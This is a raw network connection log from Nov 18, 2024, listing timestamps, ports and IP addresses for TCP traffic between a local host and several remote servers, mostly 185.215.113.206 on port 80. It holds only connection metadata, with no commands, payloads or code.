Nov 18, 2024 13:29:33.206619024 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.206691027 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.219615936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219635010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219645977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219665051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219679117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219687939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219696045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.219738007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.219738007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.219749928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219762087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219774008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.219789982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.219816923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.294773102 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.294806004 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.294852972 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.294889927 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.294908047 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.294909954 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.294951916 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.295478106 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.295495033 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.299979925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300029039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300035954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300044060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300081968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300086975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300100088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300126076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300137043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300209999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300221920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300232887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300250053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300257921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300283909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300303936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300424099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300436974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300460100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300472021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300519943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300534010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300570011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300652027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300663948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300674915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300685883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300698042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300700903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300713062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300733089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300858974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300962925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300975084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300986052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.300987959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.300998926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301001072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301026106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301050901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301213026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301225901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301237106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301246881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301258087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301263094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301270962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301285982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301302910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301480055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301493883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301522970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301549911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301661015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301673889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301685095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301697016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301709890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301721096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301721096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301736116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301747084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301748991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301759958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.301764011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.301790953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302047968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302088022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302093983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302171946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302196026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302210093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302221060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302232027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302243948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302247047 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302256107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302269936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302274942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302283049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302294016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302295923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302304983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302337885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302727938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302741051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302751064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302766085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302772045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302778006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302788973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302800894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302812099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302815914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302824974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.302845955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.302856922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.331451893 CET	443	49813	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.337502956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337521076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337590933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337604046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337608099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.337616920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337635040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337733030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337790012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337790012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.337790012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.337790012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.337790012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.337805033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337841988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.337877035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337891102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337940931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.337980032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.337990046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.338032961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.340061903 CET	49813	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.340078115 CET	443	49813	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.340488911 CET	443	49813	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.341100931 CET	49813	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.341169119 CET	443	49813	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.342372894 CET	49813	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.342624903 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.343183041 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.343199968 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.344300032 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.344358921 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.345091105 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.345175028 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.345489025 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.345499039 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.353116035 CET	443	49812	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.360488892 CET	49812	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.360506058 CET	443	49812	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.360897064 CET	443	49812	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.361496925 CET	49812	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.361563921 CET	443	49812	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.362231016 CET	49812	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.383339882 CET	443	49813	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.386360884 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:33.403341055 CET	443	49812	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:33.418040037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418055058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418076038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418087959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418100119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418108940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418158054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418165922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418169022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418209076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418214083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418255091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418257952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418292999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418294907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418307066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418329000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418339968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418459892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418472052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418512106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418565989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418606997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418656111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418668032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418678999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418690920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418701887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418715000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418745995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418821096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418903112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.418931961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418943882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418953896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418963909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418982029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.418987036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419013023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419025898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419214964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419234991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419246912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419258118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419269085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419280052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419291019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419291973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419322014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419333935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419595957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419608116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419619083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419631004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419646978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419676065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419802904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419814110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419825077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419836044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.419850111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.419878006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.420041084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420053959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420064926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420078039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420089006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420090914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.420116901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.420144081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.420306921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420325994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420336962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420347929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420358896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420367956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.420371056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420383930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420393944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420403957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.420404911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420414925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.420418024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.420448065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.420459032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.423244953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423290014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423301935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423367977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.423367977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.423414946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423428059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423439980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423450947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423468113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.423480034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.423554897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423567057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423578978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423588991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.423592091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.423624039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.455558062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.455602884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.455619097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.455652952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.455679893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.455699921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.455720901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.455734015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.455847979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.455893040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.455904961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.455944061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.455951929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.455965042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.456001997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.456017017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.456027985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.456038952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.456067085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.456067085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.456104994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.456115961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.456141949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.456155062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.477395058 CET	49816	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:33.477417946 CET	443	49816	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:33.477727890 CET	49816	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:33.478071928 CET	49816	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:33.478081942 CET	443	49816	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:33.478418112 CET	49817	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:33.478451967 CET	443	49817	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:33.478696108 CET	49817	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:33.479533911 CET	49818	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:33.479542017 CET	443	49818	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:33.479603052 CET	49818	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:33.479721069 CET	49817	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:33.479732037 CET	443	49817	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:33.480858088 CET	49818	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:33.480871916 CET	443	49818	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:33.481812954 CET	49819	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:33.481826067 CET	443	49819	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:33.481889009 CET	49819	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:33.482265949 CET	49819	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:33.482276917 CET	443	49819	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:33.498964071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.498976946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.499022961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.499037027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.499041080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.499077082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.499089003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.536096096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536128044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536138058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536163092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.536195993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.536199093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536211967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536225080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536243916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.536261082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.536355019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536366940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536379099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536397934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.536420107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:33.536463022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536565065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:33.536576033 CET	80	49746	185.215.113.206	192.168.2.8
